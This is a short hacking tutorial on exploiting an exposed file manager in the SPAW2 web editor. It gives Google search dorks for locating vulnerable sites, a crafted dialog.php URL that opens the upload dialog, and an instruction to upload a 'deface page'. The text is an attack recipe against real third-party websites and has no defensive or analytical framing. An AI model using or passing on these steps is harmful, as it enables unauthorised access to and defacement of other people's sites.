Spaw Shell Upload Vulnerablity

Follow the Instructions:-

1). Go to google and paste one of the following dorks as you like 

  inurl:”spaw2/dialogs/”
inurl:”spaw2/uploads/files/”

2). You will get lots of results. Open any site..

For Example i got :- example.com/spaw2/dialogs/

3). Now replace spaw2/dialogs/ with

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

So now our url will look like this :-

example.com/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

4). Now open the site and it will look like this->
5). Now upload your deface page..